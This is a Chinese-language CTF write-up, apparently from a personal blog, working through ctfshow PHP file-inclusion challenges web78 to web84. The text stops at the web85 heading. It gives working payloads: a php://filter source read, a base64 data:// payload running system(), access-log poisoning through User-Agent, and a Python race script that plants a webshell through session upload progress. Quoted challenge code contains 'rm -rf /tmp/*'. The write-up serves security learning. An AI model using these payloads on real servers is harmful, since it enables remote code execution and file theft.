Skip to main content

文件包含

南神博客https://www.wlhhlc.top/posts/14827/

文件包含

文件包含啊文件包含,通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。

产生的条件:

allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据
allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件

常见的包含,在之前做命令执行的时候也已经用过了惹

  • include()
  • require()
  • include_once()
  • require_once()

此外,常用的还有之前在web37写的伪协议,这里再复制过来

总:
file:// 协议
php:// 协议
zip:// bzip2:// zlib:// 协议
data:// 协议
http:// 协议 https://协议
phar:// 协议

分:
file:// 协议:
条件 allow_url_fopen:off/on allow_url_include :off/on
作用:用于访问本地文件系统。在include()/require()等参数可控的情况下,如果导入非php文件也会被解析为php
用法:1.file://[文件的绝对路径和文件名]
2.[文件的相对路径和文件名]
3.[http://网络路径和文件名]

php:// 协议:条件 allow_url_include :仅php://input php://stdin php://memory php://temp 需要on allow_url_fopen:off/on
作用:php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码
php://filter参数详解:resource=(必选,指定了你要筛选过滤的数据流) read=(可选) write=(可选)
对read和write,可选过滤器有string.rot13、string.toupper、string.tolower、string.strip_tags、convert.base64-encode & convert.base64-decode
用法举例:php://filter/read=convert.base64-encode/resource=flag.php

zip:// bzip2:// zlib:// 协议:
条件:allow_url_fopen:off/on allow_url_include :off/on
作用:zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名
用法:zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]
compress.bzip2://file.bz2
compress.zlib://file.gz
其中phar://和zip://类似

data:// 协议:
条件:allow_url_fopen:on allow_url_include :on
作用:可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
用法:data://text/plain, data://text/plain;base64,
举例:data://text/plain,<?php%20phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
PHP 扩展支持的字符编码有以下几种:


convert.iconv.UTF-8.UTF-7
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
SJIS-mac(别名:MacJapanese)
SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO)
SJIS-Mobile#KDDI(别名:SJIS-KDDI)
SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK)
UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO)
UTF-8-Mobile#KDDI-A
UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI)
UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK)
ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI)
JIS
JIS-ms
CP50220
CP50220raw
CP50221
CP50222
ISO-8859-1*
ISO-8859-2*
ISO-8859-3*
ISO-8859-4*
ISO-8859-5*
ISO-8859-6*
ISO-8859-7*
ISO-8859-8*
ISO-8859-9*
ISO-8859-10*
ISO-8859-13*
ISO-8859-14*
ISO-8859-15*
ISO-8859-16*
byte2be
byte2le
byte4be
byte4le
BASE64
HTML-ENTITIES(别名:HTML
7bit
8bit
EUC-CN*
CP936
GB18030
HZ
EUC-TW*
CP950
BIG-5*
EUC-KR*
UHC(别名:CP949
ISO-2022-KR
Windows-1251(别名:CP1251
Windows-1252(别名:CP1252
CP866(别名:IBM866
KOI8-R*
KOI8-U*
ArmSCII-8(别名:ArmSCII8)

web78

if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

伪协议直接拿flag

?file=php://filter/convert.base64-encode/resource=flag.php

web79

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

这里就是把$file里的php替换成???

上一个payload里面出现了两个php,一个是php:// 一个是flag.php

其中 flag.php 是文件名,不能进行大小写绕过,而前面的php://是伪协议 是能够大小写绕过的

然后我们看看上面的data协议,可以执行命令,首先试试上面的最后一句,里面没有出现小写的php

image-20211116093952092

执行成功,于是编码一个system("tac flag.php");

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==

web80

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

给我过滤data,data和php://不一样,data不能大小写绕过

这里用php的伪协议,注意到上面写的php://input用于执行php代码,尝试用Php://input然后POST一个system但是并没有执行,于是查看hint发现使用日志的文件包含进行getshell日志文件路径: ?file=/var/log/nginx/access.log

image-20211116095010582

为什么要选User-Agent,因为log文件记录的就是User-Agent

image-20211116102548520

image-20211116102942127

我不知道为啥,整了好多次才成功,发现了flag名字叫f10g.php

image-20211116103042234

web81

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

就过滤了个冒号,我继续之前的操作

发现了 只要报错就重开吧

image-20211116103605866

image-20211116103620097

web82

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

这次过滤了点,日志包含有.log,用不了惹。看看南神博客,session文件包含。还有安全客

https://www.freebuf.com/vuls/202819.html

知识点:

在php5.4之后php.ini开始有几个默认选项
1.session.upload_progress.enabled = on
2.session.upload_progress.cleanup = on
3.session.upload_progress.prefix = “upload_progress_”
4.session.upload_progress.name =PHP_SESSION_UPLOAD_PROGRESS
5.session.use_strict_mode=off

第一个表示当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
第二个表示当文件上传结束后,php将会立即清空对应session文件中的内容
第三和第四个prefix+name将表示为session中的键名
第五个表示我们对Cookie中sessionID可控

"简而言之,我们可以利用session.upload_progress将木马写入session文件,然后包含这个session文件。不过前提是我们需要创建一个session文件,并且知道session文件的存放位置。因为session.use_strict_mode=off的关系,我们可以自定义sessionID
linux系统中session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session

例如我们在Cookie中设置了PHPSESSID=flag,php会在服务器上创建文件:/tmp/sess_flag,即使此时用户没有初始化session,php也会自动初始化Session。 并产生一个键值,为prefix+name的值,最后被写入sess_文件里
还有一个关键点就是session.upload_progress.cleanup默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利用条件竞争来pass,写一个脚本来完成"

没法远程文件包含,因为过滤了冒号,虽然IP那里可以int绕过。

这里举例是如何有那个session来包含的

假设源代码如下:

<?php
$b=$_GET['file'];
include "$b";
?>

此时是可以包含一个恶意的文件,但是在现在靶机里面是不存在这个所谓的恶意文件的,所以我们要利用session.upload_progress将恶意语句写入session文件,然后包含session文件。

Q1:

代码里没有session_start()如何创建session文件?

A1:如果session.auto_start=On,就不需要再去执行session_start(),但默认情况都是关闭的。

但session还有个默认选项就是session.use_strict_mode = 0,用户可以自定义ID,这个部分同上引号部分

Q2:

session.upload_progress.cleanup = On导致文件上传后session文件内容立即清空怎么进行rce?

A2:这里可以利用竞争的方式在他清空前包含利用,只能写脚本了。(这里直接用有的脚本)

import io
import requests
import threading
url = 'http://c5514e77-6b19-4fda-807c-17defbd8756e.challenge.ctf.show/'

def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>mumuzi'
}
while True:
f = io.BytesIO(b'a' * 1024 * 10)
response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('muzi.txt', f)})
def read(session):
while True:
response = session.get(url+'?file=/tmp/sess_flag')
if 'mumuzi' in response.text:
print(response.text)
break
else:
print('retry')

if __name__ == '__main__':
session = requests.session()
write = threading.Thread(target=write, args=(session,))
write.daemon = True
write.start()
read(session)

web83

session_unset();
session_destroy();

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);

include($file);
}else{
highlight_file(__FILE__);
}

继续用上面的脚本

web84

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}else{
highlight_file(__FILE__);
}

我们本身就是在竞争,继续上面的脚本

web85